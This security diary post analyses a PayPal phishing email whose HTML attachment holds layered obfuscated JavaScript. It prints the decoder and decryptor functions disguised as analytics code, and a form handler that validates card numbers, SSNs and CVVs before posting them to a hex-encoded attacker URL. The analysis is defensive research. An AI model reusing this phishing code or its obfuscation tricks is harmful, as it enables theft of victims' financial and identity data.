More Malicious JavaScript Obfuscation

Published: 2016-02-07
Last Updated: 2016-02-08 14:54:46 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

Yesterday, I found an interesting phishing email. Nothing fancy or exotic about the content, just a classic email notification pretending to be sent by Paypal and asking the victim to urgently review and update his/her personal settings. The message was clever enough to not trigger anti-spam rules. The SpamAssassin score was 3.7, just low enough to pass the control:

X-Spam-Status: No, score=3.7 required=4.0 tests=BAYES_20,RCVD_NUMERIC_HELO, SARE_TOCC_COMBO1,TVD_PH_SEC,T_HK_FAKENAME_PAYPAL,T_OBFU_HTML_ATTACH autolearn=no version=3.3.2

The attached file is just simple a regular HTML file containing some obfuscated JavaScript code. This page was unknown to VT when I checked it. Here is a dump of the JavaScript code (beautified for easier reading):

function wp_plugin(r) {
    var e, n, i, t, a, d, o, f, h = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
        c = 0,
        C = 0,
        g = "",
        x = [];
    if (!r) return r;
    r += "";
        t = h.indexOf(r.charAt(c++)),
        a = h.indexOf(r.charAt(c++)),
        d = h.indexOf(r.charAt(c++)),
        o = h.indexOf(r.charAt(c++)),
        f = t << 18 | a << 12 | d << 6 | o,
        e = f >> 16 & 255,
        n = f >> 8 & 255,
        i = 255 & f,
        64 == d ? x[C++] = String.fromCharCode(e) : 64 == o ? x[C++] = String.fromCharCode(e, n) : x[C++] = String.fromCharCode(e, n, i); while (c < r.length);
    return g = x.join(""), g.replace(/\0+$/, "")
function GoogleAnalytics(r, o) {
    s = new Array;
    for (var a = 0; 256 > a; a++) s[a] = a;
    var e, n = 0;
    for (a = 0; 256 > a; a++) n = (n + s[a] + r.charCodeAt(a % r.length)) % 256, e = s[a], s[a] = s[n], s[n] = e;
    a = 0, n = 0;
    for (var t = "", f = 0; f < o.length; f++) a = (a + 1) % 256, n = (n + s[a]) % 256, e = s[a], s[a] = s[n], s[n] = e, t += String.fromCharCode(o.charCodeAt(f) ^ s[(s[a] + s[n]) % 256]);
    return t
var GA_PLUGIN = “.....redacted.....";
var _0xbf60 = ["GA-ID18998", "\x77\x72\x69\x74\x65"];
var GA_PLUGIN1 = wp_plugin(GA_PLUGIN);
var GA_DLL = GoogleAnalytics(_0xbf60[0], GA_PLUGIN1);

A first analyze shows that functions are named with common strings for websites (Wordpress, Google Analytics). No “suspicious” string is present in the code that could trigger a security control. The variable GA_PLUGIN contains ~23KB of data (that have been removed in this post) that looks immediately to be BASE64 encoded. A copy of the original HTML file is available here if you're interested.

GA_PLUGIN is used by wp_plugin() which is a BASE64 decoder function. Let’s decode it manually and we obtain a binary file without any interesting patterns / strings in it. The binary content is passed to the GoogleAnalytics() function with a second parameter (the key). I tried a simple XOR but it failed. The function being available in the code, I did not loose my time and just executed it in a sandbox to get the decoded data which is the complete HTML page that is finally displayed it in the browser via the last line (_0xbf60[1] = “write”). The page looks pretty good:

Here again, the decoded HTML page contains a second layer of obfuscation with more JavaScript code. When the victim clicks on “Submit Form”, data are not posted directly to a remote server but the xsub() function is called. The arrays contain just strings in hexadecimal encoding, nothing fancy. Here is the beautified code:

var _0x22eb9a = "c113b797cd0456be0d1a9c2f35f7d78b.php";
var _0x2da3 = ["\x6C\x65\x6E\x67\x74\x68", "\x63\x68\x61\x72\x41\x74", "\x68\x74\x74\x70\x3A\x2F\x2F\x74\x31\x2E\x73\x79\x73\x74\x65\x6D\x66\x69\x6C\x74\x65\x72\x73\x2E\x6E\x65\x74\x2F", "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x70\x61\x79\x70\x61\x6C\x2E\x63\x6F\x6D\x2F", "\x72\x65\x70\x6C\x61\x63\x65", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x61\x63\x74\x69\x6F\x6E", "\x65\x6E\x76", "\x66\x6F\x72\x6D\x73", "\x6D\x65\x74\x68\x6F\x64", "\x70\x6F\x73\x74", "\x73\x75\x62\x6D\x69\x74"];
var _0x27ca82 = (function(_0xe689x2) {
    return function(_0xe689x3) {
        var _0xe689x4 = _0xe689x3[_0x2da3[0]],
            _0xe689x5 = 1,
            _0xe689x6 = 0,
        while (_0xe689x4) {
            _0xe689x7 = parseInt(_0xe689x3[_0x2da3[1]](--_0xe689x4), 10);
            _0xe689x6 += (_0xe689x5 ^= 1) ? _0xe689x2[_0xe689x7] : _0xe689x7
        return _0xe689x6 && _0xe689x6 % 10 === 0
}([0, 2, 4, 6, 8, 1, 3, 5, 7, 9]));
var _0x98a278 = _0x2da3[2];
var _0xbbd7eb = 0;

function xsub() {
    if (!_0x11e97d()) {
        return false
    if (!_0xbbd7eb) {
        _0x98a278 += _0x22eb9a
    document[_0x2da3[8]][_0x2da3[7]][_0x2da3[6]] = _0x98a278;
    document[_0x2da3[8]][_0x2da3[7]][_0x2da3[9]] = _0x2da3[10];
var _0x9939 = ["\x76\x61\x6C\x75\x65", "\x63\x63\x61\x72\x64\x6E\x75\x6D", "\x65\x6E\x76", "\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x70\x61\x79\x70\x61\x6C\x2E\x63\x6F\x6D\x2F", "\x72\x65\x70\x6C\x61\x63\x65", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x63\x61\x64\x64\x72", "\x63\x65\x78\x70\x6D", "\x63\x65\x78\x70\x79", "\x63\x63\x76\x76", "\x6E\x61\x6D\x65", "\x30\x30", "\x63\x73\x73\x6E", "\x6C\x65\x6E\x67\x74\x68", "\x2D", "\x69\x6E\x64\x65\x78\x4F\x66", "\x55\x6E\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73", "\x63\x63\x6F\x75\x6E\x74\x72\x79", "\x63\x7A\x69\x70"];

function _0x11e97d() {
    ax = _0x27ca82(document[_0x9939[2]][_0x9939[1]][_0x9939[0]]);
    if (!ax) {
        return window[_0x9939[5]][_0x9939[4]](_0x9939[3]), !1
    var _0x88a0x2 = document[_0x9939[2]][_0x9939[6]][_0x9939[0]],
        _0x88a0x3 = document[_0x9939[2]][_0x9939[7]][_0x9939[0]],
        _0x88a0x4 = document[_0x9939[2]][_0x9939[8]][_0x9939[0]],
        _0x88a0x5 = document[_0x9939[2]][_0x9939[9]][_0x9939[0]];
    if (!document[_0x9939[2]][_0x9939[10]][_0x9939[0]] || !_0x88a0x2 || !_0x88a0x5 || _0x9939[11] == _0x88a0x3 || _0x9939[11] == _0x88a0x4) {
        return window[_0x9939[5]][_0x9939[4]](_0x9939[3]), !1
    _0x88a0x2 = document[_0x9939[2]][_0x9939[12]][_0x9939[0]];
    _0x88a0x3 = _0x88a0x2[_0x9939[13]];
    _0x88a0x4 = 9; - 1 != _0x88a0x2[_0x9939[15]](_0x9939[14]) && (_0x88a0x4 += 2);
    if (_0x9939[16] == document[_0x9939[2]][_0x9939[17]][_0x9939[0]]) {
        if (0 < _0x88a0x3 && _0x88a0x3 != _0x88a0x4) {
            return window[_0x9939[5]][_0x9939[4]](_0x9939[3]), !1
        _0x88a0x2 = document[_0x9939[2]][_0x9939[18]][_0x9939[0]][_0x9939[13]];
        if (0 < _0x88a0x2 && 5 != _0x88a0x2) {
            return window[_0x9939[5]][_0x9939[4]](_0x9939[3]), !1
    return !0

The interesting line is the first one which contains the PHP page where data are posted. If you browse the code, you see that it is appended to _0x2da3[2] to "\x68\x74\x74\x70\x3A\x2F\x2F\x74\x31\x2E\x73\x79\x73\x74\x65\x6D\x66\x69\x6C\x74\x65\x72\x73\x2E\x6E\x65\x74\x2F" to build the malicious URL:

Another interesting function is _0x11e97d() which performs multiple checks against the data submitted by the victim. Indeed, the attacker took the time to validate the data passed via the form. If one of them does not match the requirements, nothing is sent to the malicious server and just a redirect occurs. Example: The credit card number and SSN are checked (via the function _0x27ca82()). To successfully submit my test data, I bypassed _0x11e97d() with a simple "return 1”. Then the server was contacted and data sent to it. Here is a pcap:

After the successful POST, an HTTP 302 redirects the victim to the real Paypal page.

In this phishing campaign, victims from the United States are targeted because a real SSN is mandatory. It also demonstrates that the attacker took extra care to validate the data to get only valid information sent to him. This is a nice example of multiple obfuscation levels, nothing is downloaded from the Internet, the user has just to execute the HTML file attached to the email. 

Xavier Mertens
ISC Handler - Freelance Security Consultant

2 comment(s)


I just fixed the link to the original file (small typo).
Yes, the Bad Actor(s) "took care" in crafting this message and its nefarious payload, but what's striking about this campaign targeted at US recipients is that its English includes multiple usages that while not grammatically incorrect under the broad umbrella of "English" clearly flag its content as _not_ coming from PayPal in the US.

Writing natural language is also coding. I'm not going to point out the particulars of the English coding errors in the message text, though, as I like my got-through-the-filter spam to stand out like at least a slightly sore thumb.

Diary Archives